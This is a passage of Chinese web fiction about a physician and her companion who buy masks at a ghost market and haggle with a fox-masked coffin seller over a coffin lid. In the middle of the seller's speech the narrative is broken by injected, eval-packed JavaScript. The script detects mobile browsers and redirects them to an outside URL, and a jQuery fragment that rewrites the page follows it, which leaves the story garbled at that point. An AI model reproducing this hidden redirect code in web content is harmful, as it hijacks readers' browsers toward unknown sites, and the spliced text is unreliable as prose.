正是时不时出声吆喝的那家。
宁不救疑心这里头另有乾坤,只是一路打量过来也仅看出这些摊位上的货物像是从一处进的,并未找出其他规律。
中间倒是来了两位像是要进去做交易的客人,一位裹得严实随便选了个地方买了面具灯笼便离开,另一位来时就戴着面具,只买了盏灯笼。
这两人买了灯笼都没点,径直离开,去往的是不同方向。
眼瞧着第三位是等不来了,宁不救同应无赦折回前头,琢磨着要不就寻个最顺眼的买。只是路过那三样俱全的摊位时,始终吆喝同一句话的摊主却忽然改了词:“求者善面,应者恶面,方外来客,买善买恶?”
此话显然是特意说给二人听的。
宁不救停下脚步,扭头看向此人。
他脸上是一张黑色虎面,木制的面具只在眼睛处开了口子,但摊位旁支着的素纱灯太暗,也看不清对方眼神,只能察觉到他的注视。
似乎是没什么恶意。
两人上前,宁不救先看了遍摊位上的面具,虽样式各异,但的确能按“看着和善”与“看着可怖”分作两类。
余光瞥见应无赦已拿起一张凶神恶煞的黑鬼面,宁不救拿了一张差不多的。
刚“挑选”完成,摊主就抽出块木板放在灯下。
木板上是幅简易图画。
画的是两个“鹅蛋”,鹅蛋上添了张唬人表情的,后面是用银粉点的珠子,绘着笑脸的,则是用金粉点的。
宁不救看懂,但没找见灯笼和其“价格”,试探性地掏出三个小银锭放到桌上。
摊主先取走两个,而后拿起两盏灯笼递给二人才取走最后那个,抬手指了个方向,“应者从此行。”
宁不救拉上应无赦就走。
黑虎面望着两人这急匆匆的模样,下意识把刚收的银锭掏出来敲了敲。
是真银啊?
……
抓着人一路到了僻静处,宁不救与他交谈起方才见闻,“你说这些摊主,都是一家的吗?”
“应当是。有人去一家买东西时,其他摊位的摊主也会悄悄盯着。”
宁不救点点头,但仍有些想不通,“都是一家的,为何要上五个摊位?若只是为了震慑,在一个摊位上放五人不也能起到同样效果吗?”
应无赦跟着沉思,“许是……方便围人?”
宁不救豁然开朗,“很有道理。”
应无赦腼腆一笑。
宁不救的注意力又转到他手中的鬼面上,思索道:“先前有人是戴着面具进来的,而且他的面具正好也是青面獠牙的那种,所以这里的‘应者’应该是先戴好面具才去交易。”
“应者?”
“听着像是答应的应,应该是对接单人的称呼。与之对应的‘求者’,指的就该是雇主了。两拨人依照各自目的选取带有特定指向的面具,避免出现雇主找上雇主,接单人找到接单人的情况。”
应无赦看向宁不救手中相似的鬼面,愣道:“可神医不是来找消息的吗?怎么也拿了……应者的面具?”
“因为我要靠做应者,去拿我想要的消息。”
容老言辞间虽很是自以为是,但有一点却是没说错的。在这种地方直接砸钱买消息,往往收效甚微。
所以她从没打算这么干,想的始终是另一条路。
“帮我拿会儿灯笼。”宁不救把灯杆塞入他手中,拿起面具研究怎么戴能既结实又视野好。
应无赦接稳,垂眸观察这木制面具的厚度,提醒道:“这面具太厚,戴它得摘下面巾。”
宁不救扯下面巾,对这面具模样不吐不快:“这钱真好赚,全都在差不多的位置挖洞,完全不考虑人的五官差异,也不怕有人眼睛只能露一半。”
“阿无。”宁不救捏着面具贴近脸,抬眼去找应无赦,“我吓人吗?”
她语气轻快,这面具于她而言还算合适,视野遮挡不多,一下便捉到了应无赦投来目光。
只是期待良久,她都没能听得回应,仅看见对方始终不曾挪开的怔然眼神。
分明该看不清,却又好像知道他在看什么。
望见宁不救眼眸里的笑意变作了其他看不懂的情绪,应无赦猛然回神,想要回答却语无伦次起来,“我……神医……”
半晌,他颓然认命:“我看不出。”
他知道神医问的是面具。
可他没办法只去看面具。
“……没事。”宁不救不知在何时戴好了那张鬼面,闷头走近应无赦,从他掌中抽回一盏灯后顿了顿,又伸出手。
低声问他:“需要我帮你拿吗?”
应无赦望着她掌心片刻,郑重又轻缓地将灯杆放上去,而后拿起那张与从前有八分相似的鬼面,罩至脸前。
宁不救自始至终没再抬眼看他,只在他拿回灯笼道谢时掏出火折子交予他,将两盏灯笼分别点了便转身往前走。衣袂擦着他指节而过,应无赦抬着下意识递出去的手腕蜷了下指尖,望着她背影默然放下,快步跟上去。
宁不救走出两步后停下等他,嘱咐道:“此地情况不明,你跟紧我。”
应无赦垂眼看着还缠在自己臂上的素色发带,轻声应好。
宁不救握了握灯盏,继续往虎面人指定的方向走,最后走到一扇门前,推开后便进入了这处交易之地的边际。
交易之地虽有高墙围着,但墙内墙外的景致相差不大,里面也多是断垣残壁,唯一的区别就是多了些执灯游荡的人。
……还有一个摊位。
宁不救起先看向此处时,只留意到这一片荒寂里突兀地堆放着两三具簇新的棺材。而棺材堆前半倚半靠着一个戴着白狐面具的人,面具一半讨喜一半阴森,让人拿不准这算恶面还是善面。
但当稍稍偏移角度,瞧见那盏摆着的素纱灯后,宁不救明悟,这白狐面多半是跟外头那五个一伙的。
许是打量不算隐晦,白狐面伸了个懒腰朝着她的方向坐起身,抬了抬下巴,“买棺材吗?死了管埋。”
“……”
闻听此言,应无赦眉目一凛,宁不救倒没什么反应,只按下他手臂让他别放在心上,上前同这卖棺材的白狐面交谈:“刚进来的应者,还没开张,你就先急着找他们做生意?”
白狐面笑了声,声音透着这木头面具传过来有点失真,显得有几分诡谲,“
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17177777|187319||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
生意不这时候做,难道要等到人死了去阴曹地府卖这个?我可是尚在阳间,不收那劳什子纸钱。不过——要是愿意加点钱,我倒是可以附赠烧纸的生意,埋的时候顺手给烧了。”
宁不救打量着白狐面身后的棺材,像是真的在认真考虑要不要买,“那从你这里买一具棺材,要多少银钱?”
“根据要求不一,自是不一样的价格。”
对方询了价,白狐面瞧着也没比先前多几分热切,只粗略地使用“最普通的”、“最好的”这类最宽泛的形容划分了区别报出价格,也没有细说具体差异。
“这价格太黑了。”宁不救直言,“你这里最便宜的,都快赶上外头那大富户用的上好棺材了。”
“呦,碰见懂行的了。”白狐面起身,抱臂打量宁不救一番,“可我这儿管埋,外头那卖棺材的,能去找尸体?能给缝上?能给挑块风水宝地埋了?”
宁不救微顿,“风水宝地?”
白狐面点头,拍了拍棺材,“保是宝地。大师卜算,加钱单埋。”
宁不救沉默。
白狐面等了等,终于有了点认真做生意的样子,主动问道:“怎么样?买吗?”
宁不救说起别的:“我以为,做这种生意,会先找急切需要这个的。”
“人固有一死啊。”白狐面笑吟吟地靠回棺材前,“更何况是来到这里的人。”
宁不救没应声,而是问道:“这里只你一家卖棺材的?没别人卖?”
“您可真会找人打听,问店家他同行在哪儿发财。”白狐面语声戏谑,又话锋一转,“不过这地儿也少有女菩萨来,我就跟你结个善缘,给你说句实话。勿说这鬼市之上,便是放眼整个荒石漠,做这生意的,也只我一个。”
宁不救没在意他这称呼,只继续问:“那有卖布的吗?”
白狐面一愣,狐疑地看着她,“怎的?你们这些弃医从杀的,干完活还要给人把尸体盖上?”
“那就是没有了。”宁不救下了决断,目光落到他身后的棺材上,“做个生意,棺材盖单卖吗?”
白狐面以为自己没睡醒。
但眼前的人真真的站着,身上的药味儿也真真的,旁边那个同伙的按而待发更是真真的。
所以真有人单买棺材盖?
白狐面慎重地看着宁不救,提醒道:“你单买这个,我也便宜不了多少。”
宁不救无所谓,“嗯。也不需要你的管找管缝管埋管烧纸,只买你一个棺材盖,现在就要,钱货两讫。给个公道价。”
白狐面越听越迷惑,一时好奇心压过其他,说道:“卖倒是能卖,但我这儿的东西都是成套做的,没有单出一个的道理。你要么付一套的钱单拿走一个盖,要么告诉我,你拿我这棺材盖去做什么,我酌情给你便宜些。”
这事没什么不能说的,宁不救简要道:“做生意。”
白狐面一惊,“你要做我同行?”
“死透了的生意我不做。”宁不救没有跟他抢生意的打算。
“那你要盖做什么?抬人?渡河?”
宁不救不急着回答,只先向白狐面确认,“我若同你说了,这盖你能便宜多少?”